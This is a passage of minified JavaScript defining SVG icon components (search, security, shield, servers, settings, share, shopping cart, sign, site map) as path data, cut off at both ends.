c70.15,0,127.22-57.064,127.22-127.211S963.134,1541.145,892.983,1541.145z M892.983,1733.013 c-35.649,0-64.652-29.003-64.652-64.657c0-35.652,29.003-64.656,64.652-64.656c35.658,0,64.666,29.004,64.666,64.656 C957.649,1704.01,928.642,1733.013,892.983,1733.013z"})),search:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1715.514,1630.048l-368.416-368.402c-17.967-17.977-41.866-27.874-67.281-27.874 c-13.782,0-27.071,3.003-39.257,8.527l-94.596-94.594c133.584-119.751,217.789-293.534,217.789-486.634 c0-360.375-293.193-653.561-653.572-653.561c-360.38,0-653.568,293.186-653.568,653.561c0,360.382,293.188,653.57,653.568,653.57 c146.069,0,281.087-48.174,390.033-129.453l96.854,96.862c-8.041,14.144-12.399,30.159-12.399,46.869 c0,25.42,9.897,49.314,27.868,67.283l368.407,368.423c17.972,17.968,41.862,27.865,67.283,27.865 c25.42,0,49.318-9.902,67.29-27.874c17.972-17.971,27.869-41.867,27.869-67.287 C1743.387,1671.914,1733.489,1648.02,1715.514,1630.048z M118.546,661.071c0-326.224,265.405-591.627,591.634-591.627 c326.229,0,591.638,265.403,591.638,591.627c0,326.231-265.408,591.636-591.638,591.636 C383.952,1252.707,118.546,987.302,118.546,661.071z M1671.72,1720.823c-6.272,6.277-14.62,9.733-23.492,9.733 c-8.879,0-17.222-3.456-23.489-9.726l-368.407-368.424c-6.272-6.272-9.728-14.614-9.728-23.488c0-8.873,3.455-17.215,9.732-23.488 c6.269-6.273,14.605-9.726,23.48-9.726c8.869,0,17.211,3.452,23.488,9.733l368.415,368.406c6.276,6.273,9.733,14.615,9.733,23.484 C1681.453,1706.203,1677.996,1714.547,1671.72,1720.823z"}),(0,o.createElement)("path",{d:"M733.941,187.121c145.201,0,427.813,158.624,427.813,449.396c0,17.104,13.863,30.967,30.968,30.967 c17.104,0,30.968-13.863,30.968-30.967c0-145.848-64.515-281.118-181.66-380.892c-93.039-79.241-213.969-130.439-308.088-130.439 c-17.104,0-30.967,13.864-30.967,30.967C702.974,173.257,716.838,187.121,733.941,187.121z"})),security:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1096.233,698.227c0-108.2-88.028-196.229-196.229-196.229c-108.205,0-196.234,88.029-196.234,196.229 v74.779H571.518v226.107c1.825,179.273,149.183,325.127,328.487,325.127s326.658-145.854,328.478-325.445V773.006h-132.249V698.227 z M1165.753,835.734v162.74c-1.47,145.039-120.684,263.037-265.749,263.037s-264.283-117.998-265.758-262.717V835.734H1165.753z M766.5,773.006v-74.779c0-73.611,59.889-133.5,133.504-133.5c73.611,0,133.5,59.889,133.5,133.5v74.779H766.5z"}),(0,o.createElement)("path",{d:"M1668.854,759.284c-58.126-318.375-309.768-570.017-628.138-628.141 C1031.553,61.639,971.966,7.808,900,7.808S768.442,61.642,759.28,131.146C440.91,189.271,189.268,440.914,131.146,759.284 c-69.507,9.162-123.34,68.754-123.34,140.72c0,71.968,53.833,131.551,123.34,140.713 c58.121,318.371,309.763,570.008,628.134,628.135c9.162,69.502,68.754,123.34,140.72,123.34s131.553-53.834,140.716-123.34 c318.37-58.122,570.017-309.764,628.138-628.13c69.507-9.163,123.34-68.75,123.34-140.718 C1792.193,828.038,1738.36,768.446,1668.854,759.284z M900,70.537c33.898,0,62.808,21.432,74.109,51.424 c3.27,8.672,5.142,18.025,5.142,27.827c0,12.525-3.001,24.335-8.195,34.876c-12.93,26.241-39.88,44.382-71.056,44.382 c-31.181,0-58.13-18.141-71.06-44.382c-5.198-10.541-8.196-22.351-8.196-34.876c0-9.801,1.873-19.154,5.142-27.827 C837.188,91.969,866.098,70.537,900,70.537z M121.962,974.115c-29.995-11.306-51.427-40.211-51.427-74.111 c0-33.902,21.432-62.812,51.427-74.114c8.672-3.269,18.027-5.142,27.829-5.142c12.523,0,24.333,2.998,34.874,8.196 c26.236,12.93,44.377,39.879,44.377,71.06c0,31.179-18.141,58.123-44.377,71.058c-10.541,5.19-22.351,8.191-34.874,8.191 C139.989,979.253,130.634,977.381,121.962,974.115z M900,1729.462c-33.902,0-62.812-21.432-74.114-51.427 c-3.269-8.672-5.142-18.027-5.142-27.828c0-12.523,2.998-24.334,8.196-34.875c12.93-26.24,39.879-44.377,71.06-44.377 c31.176,0,58.126,18.137,71.056,44.377c5.194,10.541,8.195,22.352,8.195,34.875c0,9.801-1.872,19.156-5.142,27.828 C962.808,1708.03,933.898,1729.462,900,1729.462z M1034.927,1606.087c-18.605-56.747-72.04-97.86-134.927-97.86 s-116.326,41.113-134.931,97.86c-288.367-54.993-516.166-282.788-571.159-571.159c56.748-18.604,97.861-72.039,97.861-134.924 c0-62.887-41.113-116.326-97.861-134.931c54.993-288.371,282.792-516.17,571.159-571.163 c18.605,56.752,72.044,97.865,134.931,97.865s116.321-41.113,134.927-97.865c288.371,54.993,516.17,282.792,571.163,571.163 c-56.752,18.605-97.865,72.044-97.865,134.931c0,62.885,41.113,116.319,97.865,134.924 C1551.097,1323.299,1323.298,1551.094,1034.927,1606.087z M1678.038,974.115c-8.673,3.266-18.023,5.138-27.824,5.138 c-12.528,0-24.338-3.001-34.879-8.191c-26.24-12.935-44.382-39.879-44.382-71.058c0-31.176,18.142-58.126,44.382-71.06 c10.541-5.198,22.351-8.196,34.879-8.196c9.801,0,19.151,1.873,27.824,5.142c29.995,11.298,51.427,40.212,51.427,74.114 C1729.465,933.904,1708.033,962.818,1678.038,974.115z"})),securityAlt:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1590.487,1148.496V645.409C1648.671,631.251,1692,578.732,1692,516.255 c0-73.311-59.631-132.951-132.941-132.951c-38.059,0-72.407,16.104-96.673,41.83l-437.927-252.835 c3.481-11.86,5.375-24.388,5.375-37.357C1029.834,61.64,970.203,2,896.895,2c-73.302,0-132.941,59.64-132.941,132.942 c0,12.969,1.903,25.497,5.384,37.357L331.416,425.129c-24.255-25.725-58.609-41.825-96.667-41.825 c-73.311,0-132.95,59.64-132.95,132.951c0,62.472,43.333,114.991,101.512,129.154v503.093 c-58.179,14.161-101.512,66.68-101.512,129.156c0,73.302,59.639,132.942,132.95,132.942c36.406,0,69.431-14.72,93.467-38.51 l441.122,254.681c-3.481,11.86-5.384,24.388-5.384,37.356c0,73.304,59.64,132.942,132.941,132.942 c73.309,0,132.939-59.639,132.939-132.942c0-12.969-1.894-25.496-5.375-37.356l441.128-254.69 c24.036,23.796,57.062,38.52,93.472,38.52c73.311,0,132.941-59.641,132.941-132.942 C1692,1215.178,1648.671,1162.653,1590.487,1148.496z M1489.476,1285.709c-0.299-2.645-0.5-5.323-0.5-8.051 c0-27.333,15.766-51.006,38.645-62.555c9.473-4.78,20.126-7.533,31.438-7.533c11.304,0,21.958,2.753,31.42,7.529 c22.896,11.545,38.664,35.216,38.664,62.559c0,38.646-31.438,70.084-70.084,70.084c-12.742,0-24.659-3.473-34.963-9.439 C1505.347,1327.45,1492.061,1308.205,1489.476,1285.709z M1519.764,458.255c11.216-7.625,24.738-12.093,39.295-12.093 c38.646,0,70.084,31.442,70.084,70.093c0,27.338-15.768,51.006-38.655,62.555c-9.462,4.775-20.116,7.528-31.429,7.528 c-11.304,0-21.959-2.753-31.43-7.533c-22.888-11.545-38.653-35.213-38.653-62.551c0-1.048,0.113-2.066,0.156-3.1 C1490.141,490.351,1502.006,470.331,1519.764,458.255z M826.811,134.942c0-38.646,31.438-70.084,70.083-70.084 c38.645,0,70.082,31.438,70.082,70.084c0,1.368-0.123,2.701-0.201,4.051c-1.308,22.747-13.443,42.614-31.396,54.457 c-11.057,7.296-24.272,11.576-38.485,11.576c-14.206,0-27.421-4.28-38.479-11.576c-17.95-11.843-30.087-31.71-31.394-54.457 C826.942,137.643,826.811,136.31,826.811,134.942z M164.656,516.255c0-38.651,31.442-70.093,70.092-70.093 c14.553,0,28.08,4.463,39.295,12.088c17.758,12.071,29.627,32.096,30.631,54.9c0.048,1.035,0.158,2.056,0.158,3.104 c0,27.342-15.772,51.01-38.664,62.559c-9.466,4.771-20.116,7.524-31.42,7.524c-11.312,0-21.971-2.753-31.438-7.533 C180.422,567.257,164.656,543.589,164.656,516.255z M269.707,1338.311c-10.304,5.965-22.221,9.432-34.958,9.432 c-38.65,0-70.092-31.438-70.092-70.084c0-27.337,15.767-51.006,38.654-62.555c9.467-4.78,20.126-7.533,31.438-7.533 c11.304,0,21.954,2.753,31.42,7.523c22.892,11.551,38.664,35.222,38.664,62.564c0,2.731-0.198,5.41-0.5,8.059 C301.741,1308.215,288.46,1327.46,269.707,1338.311z M966.977,1664.128c0,38.646-31.438,70.084-70.082,70.084 c-38.646,0-70.083-31.438-70.083-70.084c0-1.368,0.131-2.704,0.21-4.051c1.307-22.743,13.444-42.615,31.394-54.462 c11.058-7.295,24.273-11.575,38.479-11.575c14.213,0,27.429,4.28,38.485,11.575c17.952,11.847,30.088,31.719,31.396,54.462 C966.854,1661.424,966.977,1662.76,966.977,1664.128z M992.959,1572.372c-24.22-25.349-58.314-41.19-96.064-41.19 c-37.743,0-71.837,15.842-96.059,41.19l-439.614-253.809c4.183-12.892,6.467-26.633,6.467-40.905 c0-62.48-43.337-115.005-101.521-129.162V645.413c58.185-14.158,101.521-66.681,101.521-129.158c0-12.663-1.819-24.905-5.143-36.52 l438.289-253.042c24.221,25.352,58.315,41.189,96.059,41.189c37.75,0,71.845-15.837,96.064-41.189l438.297,253.046 c-3.314,11.61-5.139,23.853-5.139,36.515c0,62.472,43.337,114.991,101.512,129.154l-0.009,503.093 c-58.174,14.161-101.503,66.68-101.503,129.156c0,14.269,2.289,28.004,6.471,40.897L992.959,1572.372z"}),(0,o.createElement)("path",{d:"M1264.597,747.992L916.255,475.829c-11.365-8.884-27.332-8.884-38.696,0L529.218,747.992 c-7.63,5.954-12.084,15.092-12.084,24.764c0,233.561,100.426,372.219,184.671,447.416 c91.516,81.682,182.901,107.541,186.742,108.604c2.736,0.753,5.55,1.131,8.357,1.131c2.815,0,5.628-0.378,8.355-1.131 c3.849-1.063,95.225-26.922,186.74-108.604c84.247-75.197,184.673-213.855,184.673-447.416 C1276.672,763.083,1272.216,753.946,1264.597,747.992z M1052.223,1171.406c-65.664,59.303-132.381,86.044-155.372,94.063 c-22.677-7.841-87.754-33.792-153.19-92.195c-105.319-94.003-160.293-223.577-163.521-385.308l316.763-247.491l316.761,247.491 C1210.464,948.58,1156.191,1077.519,1052.223,1171.406z"})),servers:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1713.195,662.483H86.805c-46.621,0-84.549,37.929-84.549,84.55v315.328 c0,46.615,37.928,84.54,84.549,84.54h1626.391c46.625,0,84.55-37.925,84.55-84.54V747.033 C1797.745,700.412,1759.82,662.483,1713.195,662.483z M1734.746,1062.361c0,11.882-9.668,21.541-21.551,21.541H86.805 c-11.883,0-21.55-9.659-21.55-21.541V747.033c0-11.883,9.667-21.55,21.55-21.55h1626.391c11.883,0,21.551,9.667,21.551,21.55 V1062.361z"}),(0,o.createElement)("path",{d:"M262.693,851.239c-29.518,0-53.45,23.933-53.45,53.448c0,29.521,23.932,53.445,53.45,53.445 s53.45-23.924,53.45-53.445C316.144,875.172,292.211,851.239,262.693,851.239z"}),(0,o.createElement)("path",{d:"M447.018,851.239c-29.522,0-53.455,23.933-53.455,53.448c0,29.521,23.932,53.445,53.455,53.445 c29.513,0,53.445-23.924,53.445-53.445C500.463,875.172,476.53,851.239,447.018,851.239z"}),(0,o.createElement)("path",{d:"M631.339,851.239c-29.522,0-53.454,23.933-53.454,53.448c0,29.521,23.932,53.445,53.454,53.445 c29.513,0,53.445-23.924,53.445-53.445C684.784,875.172,660.852,851.239,631.339,851.239z"}),(0,o.createElement)("path",{d:"M1567.738,873.181H927.254c-17.394,0-31.5,14.102-31.5,31.497c0,17.402,14.106,31.5,31.5,31.5h640.484 c17.394,0,31.5-14.098,31.5-31.5C1599.238,887.283,1585.132,873.181,1567.738,873.181z"}),(0,o.createElement)("path",{d:"M1713.195,1315.578H86.805c-46.621,0-84.549,37.934-84.549,84.551v315.329 c0,46.616,37.928,84.54,84.549,84.54h1626.391c46.625,0,84.55-37.924,84.55-84.54v-315.329 C1797.745,1353.512,1759.82,1315.578,1713.195,1315.578z M1734.746,1715.458c0,11.882-9.668,21.542-21.551,21.542H86.805 c-11.883,0-21.55-9.66-21.55-21.542v-315.329c0-11.883,9.667-21.551,21.55-21.551h1626.391c11.883,0,21.551,9.668,21.551,21.551 V1715.458z"}),(0,o.createElement)("path",{d:"M262.693,1504.339c-29.518,0-53.45,23.933-53.45,53.445c0,29.522,23.932,53.446,53.45,53.446 s53.45-23.924,53.45-53.446C316.144,1528.271,292.211,1504.339,262.693,1504.339z"}),(0,o.createElement)("path",{d:"M447.018,1504.339c-29.522,0-53.455,23.933-53.455,53.445c0,29.522,23.932,53.446,53.455,53.446 c29.513,0,53.445-23.924,53.445-53.446C500.463,1528.271,476.53,1504.339,447.018,1504.339z"}),(0,o.createElement)("path",{d:"M631.339,1504.339c-29.522,0-53.454,23.933-53.454,53.445c0,29.522,23.932,53.446,53.454,53.446 c29.513,0,53.445-23.924,53.445-53.446C684.784,1528.271,660.852,1504.339,631.339,1504.339z"}),(0,o.createElement)("path",{d:"M1567.738,1526.275H927.254c-17.394,0-31.5,14.107-31.5,31.5c0,17.402,14.106,31.5,31.5,31.5h640.484 c17.394,0,31.5-14.098,31.5-31.5C1599.238,1540.383,1585.132,1526.275,1567.738,1526.275z"}),(0,o.createElement)("path",{d:"M1713.195,0H86.805C40.184,0,2.255,37.929,2.255,84.55v315.329c0,46.617,37.928,84.541,84.549,84.541 h1626.391c46.625,0,84.55-37.924,84.55-84.541V84.55C1797.745,37.929,1759.82,0,1713.195,0z M1734.746,399.879 c0,11.878-9.668,21.542-21.551,21.542H86.805c-11.883,0-21.55-9.664-21.55-21.542V84.55c0-11.883,9.667-21.551,21.55-21.551 h1626.391c11.883,0,21.551,9.668,21.551,21.551V399.879z"}),(0,o.createElement)("circle",{cx:"262.693",cy:"242.204",r:"53.448"}),(0,o.createElement)("path",{d:"M447.018,188.756c-29.522,0-53.455,23.932-53.455,53.45c0,29.518,23.932,53.446,53.455,53.446 c29.513,0,53.445-23.928,53.445-53.446C500.463,212.688,476.53,188.756,447.018,188.756z"}),(0,o.createElement)("path",{d:"M631.339,188.756c-29.522,0-53.454,23.932-53.454,53.45c0,29.518,23.932,53.446,53.454,53.446 c29.513,0,53.445-23.928,53.445-53.446C684.784,212.688,660.852,188.756,631.339,188.756z"}),(0,o.createElement)("path",{d:"M1567.738,210.697H927.254c-17.394,0-31.5,14.102-31.5,31.5s14.106,31.5,31.5,31.5h640.484c17.394,0,31.5-14.102,31.5-31.5S1585.132,210.697,1567.738,210.697z"})),settings:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1468.436,32.467v188.211c-98.748,15.249-174.595,100.822-174.595,203.777s75.847,188.521,174.595,203.777 v1139.302c0,17.453,14.146,31.608,31.607,31.608c17.454,0,31.609-14.155,31.609-31.608V628.232 c98.748-15.257,174.59-100.822,174.59-203.777s-75.842-188.529-174.59-203.777V32.467c0-17.454-14.155-31.608-31.609-31.608 C1482.581,0.858,1468.436,15.013,1468.436,32.467z M1643.029,424.455c0,67.979-47.703,124.986-111.377,139.423 c-10.179,2.302-20.744,3.563-31.609,3.563s-21.43-1.261-31.607-3.563c-63.684-14.438-111.378-71.444-111.378-139.423 c0-67.988,47.694-124.995,111.378-139.424c10.178-2.311,20.742-3.563,31.607-3.563s21.431,1.252,31.609,3.563 C1595.326,299.46,1643.029,356.467,1643.029,424.455z"}),(0,o.createElement)("path",{d:"M331.574,1767.534V628.232c98.758-15.257,174.603-100.822,174.603-203.777s-75.845-188.529-174.603-203.777 V32.467c0-17.454-14.146-31.608-31.608-31.608c-17.454,0-31.608,14.155-31.608,31.608v188.211 C169.609,235.926,93.763,321.5,93.763,424.455s75.846,188.521,174.594,203.777v1139.302c0,17.453,14.155,31.608,31.608,31.608 C317.428,1799.143,331.574,1784.987,331.574,1767.534z M156.98,424.455c0-67.988,47.703-124.995,111.377-139.424 c10.178-2.311,20.752-3.563,31.608-3.563c10.865,0,21.431,1.252,31.608,3.563c63.684,14.429,111.387,71.436,111.387,139.424 c0,67.979-47.703,124.986-111.387,139.423c-10.178,2.302-20.743,3.563-31.608,3.563c-10.856,0-21.431-1.261-31.608-3.563 C204.683,549.441,156.98,492.434,156.98,424.455z"}),(0,o.createElement)("path",{d:"M931.617,1767.534V1419.51c98.748-15.257,174.594-100.822,174.594-203.777s-75.846-188.529-174.594-203.777 V32.467c0-17.454-14.154-31.608-31.608-31.608c-17.462,0-31.608,14.155-31.608,31.608v979.488 c-98.757,15.248-174.603,100.822-174.603,203.777s75.846,188.521,174.603,203.777v348.024c0,17.453,14.146,31.608,31.608,31.608 C917.463,1799.143,931.617,1784.987,931.617,1767.534z M757.015,1215.732c0-67.986,47.703-124.995,111.386-139.424 c10.177-2.309,20.743-3.563,31.608-3.563c10.865,0,21.431,1.254,31.608,3.563c63.676,14.429,111.378,71.438,111.378,139.424 c0,67.979-47.702,124.986-111.378,139.424c-10.178,2.303-20.743,3.563-31.608,3.563c-10.865,0-21.431-1.26-31.608-3.563 C804.717,1340.719,757.015,1283.711,757.015,1215.732z"})),share:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M357.063,742.307c-17.305,0-31.331,14.026-31.331,31.331s14.026,31.331,31.331,31.331 c27.835,0,93.081,33.661,93.081,98.938c0,17.305,14.026,31.331,31.331,31.331s31.332-14.026,31.332-31.331 C512.807,797.809,411.417,742.307,357.063,742.307z"}),(0,o.createElement)("path",{d:"M1453.625,177.815c27.835,0,93.08,33.661,93.08,98.938c0,17.305,14.027,31.331,31.332,31.331 s31.331-14.026,31.331-31.331c0-106.097-101.39-161.6-155.743-161.6c-17.305,0-31.33,14.026-31.33,31.331 S1436.32,177.815,1453.625,177.815z"}),(0,o.createElement)("path",{d:"M1447.975,1261.85c-46.434,0-92.324,12.361-132.713,35.751c-31.903,18.476-58.501,42.634-79.293,70.451 L597.875,998.547c3.899-9.809,7.317-19.871,10.075-30.226c15.53-58.261,10.889-118.681-12.702-173.188l636.708-368.71 c49.41,69.459,130.26,111.727,216.465,111.727c46.433,0,92.319-12.361,132.707-35.75c61.316-35.505,105.136-92.766,123.385-161.232 c18.248-68.463,8.742-139.933-26.764-201.249C1630.467,58.27,1542.422,7.544,1447.979,7.544c-46.434,0-92.324,12.361-132.712,35.75 c-115.368,66.811-161.543,207.81-113.322,328.1L563.833,740.916c-49.707-66.172-128.52-106.219-212.417-106.219 c-46.428,0-92.324,12.361-132.711,35.75C92.13,743.749,48.787,906.358,122.084,1032.934 c47.281,81.649,135.326,132.37,229.77,132.37c46.438,0,92.324-12.36,132.712-35.75c33.473-19.381,61.679-45.284,83.407-75.915 l636.673,368.684c-31.921,74.42-29.608,162.465,13.996,237.764c47.28,81.65,135.325,132.371,229.774,132.371 c46.432,0,92.318-12.361,132.707-35.75c61.316-35.506,105.135-92.766,123.384-161.232c18.249-68.463,8.742-139.934-26.763-201.249 C1630.463,1312.575,1542.418,1261.85,1447.975,1261.85z M1346.668,97.521c30.859-17.868,65.893-27.314,101.311-27.314 c72.164,0,139.426,38.745,175.543,101.114c27.117,46.831,34.378,101.42,20.438,153.71c-13.935,52.29-47.403,96.026-94.233,123.144 c-30.855,17.869-65.889,27.314-101.307,27.314c-72.165,0-139.43-38.744-175.547-101.109 C1216.893,277.706,1249.994,153.504,1346.668,97.521z M453.164,1075.327c-30.859,17.868-65.888,27.314-101.311,27.314 c-72.165,0-139.426-38.745-175.543-101.11c-55.979-96.672-22.873-220.874,73.795-276.857 c30.859-17.869,65.888-27.314,101.311-27.314c72.165,0,139.426,38.744,175.543,101.114c27.117,46.831,34.377,101.42,20.438,153.71 C533.464,1004.474,499.995,1048.209,453.164,1075.327z M1643.955,1579.336c-13.934,52.291-47.402,96.027-94.233,123.145 c-30.854,17.868-65.888,27.314-101.306,27.314c-72.166,0-139.431-38.744-175.548-101.109 c-55.979-96.674-22.878-220.875,73.795-276.859c30.859-17.867,65.893-27.313,101.312-27.313 c72.164,0,139.425,38.744,175.543,101.114C1650.635,1472.457,1657.895,1527.047,1643.955,1579.336z"}),(0,o.createElement)("path",{d:"M1453.621,1369.459c-17.305,0-31.331,14.027-31.331,31.332s14.026,31.331,31.331,31.331 c27.834,0,93.08,33.661,93.08,98.937c0,17.305,14.027,31.332,31.332,31.332s31.33-14.027,31.33-31.332 C1609.363,1424.963,1507.975,1369.459,1453.621,1369.459z"})),shield:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M900,1793.016c-2.796,0-5.594-0.375-8.315-1.125c-7.969-2.199-197.36-55.807-388.728-226.607 c-112.377-100.305-201.914-220.375-266.128-356.88c-79.987-170.042-120.543-365.937-120.543-582.248 c0-9.624,4.431-18.711,12.016-24.637L880.752,13.613c11.308-8.837,27.187-8.837,38.496,0l752.451,587.905 c7.584,5.925,12.016,15.013,12.016,24.637c0,216.312-40.559,412.206-120.546,582.248 c-64.212,136.505-153.751,256.575-266.123,356.88c-191.37,170.801-380.764,224.408-388.732,226.607 C905.592,1792.641,902.796,1793.016,900,1793.016z M178.88,641.351c3.271,367.343,125.555,661.791,363.594,875.387 C701.154,1659.123,862.076,1716.81,900,1729.049c37.924-12.239,198.846-69.926,357.525-212.311 c238.039-213.597,360.325-508.044,363.592-875.387L900,77.925L178.88,641.351z"}),(0,o.createElement)("path",{d:"M900,1593.533c-2.798,0-5.594-0.375-8.315-1.125c-6.189-1.71-153.319-43.35-301.636-175.734 c-87.095-77.732-156.485-170.791-206.251-276.582c-61.928-131.65-93.328-283.236-93.328-450.545 c0-9.624,4.432-18.711,12.017-24.637L880.752,213.1c11.308-8.834,27.187-8.839,38.496,0l578.266,451.81 c7.585,5.925,12.017,15.013,12.017,24.637c0,167.309-31.399,318.895-93.329,450.545 c-49.762,105.791-119.155,198.85-206.248,276.582c-148.316,132.385-295.446,174.024-301.64,175.734 C905.596,1593.158,902.798,1593.533,900,1593.533z M353.087,704.725c3.256,278.249,96.237,501.402,276.493,663.417 c118.248,106.279,238.227,150.755,270.42,161.38c32.193-10.625,152.172-55.101,270.42-161.38 c180.256-162.016,273.236-385.169,276.495-663.417L900,277.412L353.087,704.725z"})),shoppingCart:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1478.793,1242.979c0.031,0.006,0.061,0.006,0.094,0h3.281c13.289,0,25.162-8.314,29.709-20.8 l283.908-780.039c3.529-9.694,2.104-20.5-3.811-28.951c-5.919-8.447-15.582-13.479-25.899-13.479H1194.88H883.583H334.239 L263.73,208.149c-0.066-0.181-0.155-0.349-0.225-0.53c-0.238-0.609-0.494-1.204-0.768-1.791c-0.181-0.397-0.366-0.79-0.564-1.177 c-0.255-0.499-0.524-0.984-0.807-1.465c-0.261-0.45-0.525-0.896-0.807-1.332c-0.251-0.384-0.516-0.758-0.781-1.129 c-0.348-0.484-0.697-0.965-1.067-1.424c-0.247-0.309-0.507-0.609-0.763-0.904c-0.415-0.476-0.833-0.948-1.27-1.398 c-0.274-0.278-0.561-0.542-0.843-0.812c-0.446-0.423-0.887-0.838-1.354-1.235c-0.335-0.282-0.688-0.551-1.032-0.821 c-0.437-0.334-0.874-0.675-1.323-0.987c-0.423-0.296-0.86-0.569-1.297-0.842c-0.401-0.251-0.803-0.503-1.212-0.736 c-0.508-0.287-1.028-0.547-1.549-0.807c-0.375-0.186-0.745-0.375-1.129-0.543c-0.555-0.247-1.121-0.468-1.693-0.688 c-0.384-0.145-0.768-0.291-1.156-0.423c-0.555-0.186-1.111-0.344-1.675-0.499c-0.451-0.124-0.9-0.242-1.35-0.348 c-0.507-0.115-1.015-0.208-1.53-0.3c-0.542-0.093-1.089-0.181-1.641-0.248c-0.441-0.052-0.882-0.097-1.328-0.128 c-0.635-0.052-1.271-0.083-1.905-0.097c-0.203-0.004-0.397-0.031-0.601-0.031H33.923c-17.461,0-31.615,14.153-31.615,31.615 c0,17.461,14.154,31.615,31.615,31.615h178.083L300.272,490.5l255.975,703.281c-0.123,0.308-0.273,0.604-0.393,0.921 l-86.934,236.188c-0.542,1.473-0.93,2.965-1.243,4.46c-1.821,3.996-2.862,8.42-2.862,13.095c0,17.461,14.154,31.616,31.615,31.616 h123.754c11.622,74.937,76.572,132.486,154.716,132.486c78.143,0,143.094-57.55,154.716-132.486h217.104 c11.621,74.937,76.574,132.486,154.717,132.486c78.144,0,143.093-57.55,154.716-132.486h87.688 c17.463,0,31.615-14.155,31.615-31.616c0-17.462-14.152-31.615-31.615-31.615h-90.789 c-17.421-67.456-78.792-117.429-151.614-117.429c-72.824,0-134.194,49.973-151.616,117.429H926.521 c-17.432-67.456-78.8-117.429-151.62-117.429c-72.819,0-134.189,49.973-151.62,117.429h-81.803l63.989-173.85H1478.793z M1216.813,1416.829c14.844-31.941,47.146-54.197,84.624-54.197c37.477,0,69.78,22.256,84.622,54.197 c5.539,11.921,8.72,25.153,8.72,39.145c0,8.341-1.205,16.386-3.264,24.087c-10.665,39.81-46.952,69.256-90.078,69.256 c-43.128,0-79.414-29.446-90.077-69.256c-2.061-7.701-3.265-15.746-3.265-24.087 C1208.096,1441.982,1211.274,1428.75,1216.813,1416.829z M690.278,1416.829c14.838-31.941,47.146-54.197,84.623-54.197 c37.477,0,69.785,22.256,84.622,54.197c5.541,11.921,8.72,25.153,8.72,39.145c0,8.341-1.203,16.386-3.267,24.087 c-10.661,39.81-46.947,69.256-90.075,69.256c-43.126,0-79.414-29.446-90.074-69.256c-2.064-7.701-3.268-15.746-3.268-24.087 C681.559,1441.982,684.739,1428.75,690.278,1416.829z M644.822,1179.748h-26.389l-20.453-56.187l-49.751-136.69h255.596v192.877 H644.822z M1553.244,923.641h-289.426V723.412h362.303L1553.244,923.641z M1200.588,923.641H867.055V723.412h333.533V923.641z M803.825,923.641H525.214l-72.876-200.229h351.487V923.641z M867.055,1179.748V986.871h333.533v192.877H867.055z M1480.479,1123.562l-20.449,56.187h-26.389h-169.822V986.871h266.412L1480.479,1123.562z M1649.132,660.181h-385.313V462.942 h457.104L1649.132,660.181z M905.72,462.942h267.024h27.844v197.239H867.055V462.942H905.72z M357.535,462.942h446.29v197.239 H429.327l-69.625-191.293c-0.005-0.004-0.005-0.004-0.005-0.004l-0.04-0.11L357.535,462.942z"})),sign:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1712.873,820.293l-198.091-185.002c-5.813-5.427-13.466-8.446-21.414-8.446h-269.041 c-1.497-0.219-3.028-0.333-4.585-0.333H925.895V557.06h459.658c17.326,0,31.37-14.039,31.37-31.37V155.012 c0-17.326-14.044-31.37-31.37-31.37H925.895V34.977c0-17.33-14.044-31.369-31.37-31.369s-31.37,14.04-31.37,31.369v88.666H580.263 c-1.541,0-3.055,0.114-4.534,0.333H306.631c-7.948,0-15.602,3.019-21.414,8.446L87.126,317.427 c-6.351,5.931-9.957,14.232-9.957,22.924s3.606,16.994,9.957,22.923L285.218,548.29c5.812,5.427,13.466,8.442,21.414,8.442h269.063 c1.492,0.214,3.015,0.328,4.569,0.328h282.892v69.453H414.452c-17.327,0-31.37,14.043-31.37,31.369v370.687 c0,17.326,14.043,31.37,31.37,31.37h448.703v311.637c-115.444,13.001-207.037,96.86-224.778,205.702H429.169 c-17.326,0-31.37,14.043-31.37,31.368v156.378c0,17.325,14.043,31.368,31.37,31.368h930.711c17.326,0,31.369-14.043,31.369-31.368 v-156.378c0-17.325-14.043-31.368-31.369-31.368h-209.207c-17.742-108.842-109.339-192.701-224.779-205.702v-311.637h293.848 c1.539,0,3.054-0.113,4.533-0.333h269.093c7.948,0,15.602-3.02,21.414-8.445l198.091-185.016c6.351-5.93,9.957-14.232,9.957-22.923 C1722.83,834.529,1719.224,826.228,1712.873,820.293z M584.832,494.32c-1.492-0.219-3.015-0.328-4.569-0.328h-261.26L154.5,340.351 l164.502-153.636h261.26c1.541,0,3.055-0.114,4.534-0.333h278.358h62.739h428.289V494.32H925.895h-62.739H584.832z M1328.512,1733.653H460.54v-93.638h206.144h455.684h206.145V1733.653z M1086.853,1577.277h-384.66 c18.788-83.375,97.479-144.788,192.332-144.788C989.365,1432.489,1068.061,1493.911,1086.853,1577.277z M1480.997,996.866h-261.255 c-1.56,0-3.091,0.114-4.588,0.332h-289.26h-62.739H445.822V689.252h417.333h62.739h289.26c1.497,0.219,3.028,0.333,4.588,0.333 h261.255L1645.5,843.221L1480.997,996.866z"})),siteMap:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1765.051,0H34.949C17.561,0,3.466,14.095,3.466,31.484v476.753c0,17.389,14.095,31.483,31.483,31.483 h1730.102c17.389,0,31.484-14.095,31.484-31.483V31.484C1796.535,14.095,1782.439,0,1765.051,0z M1733.567,476.753H66.433V62.968 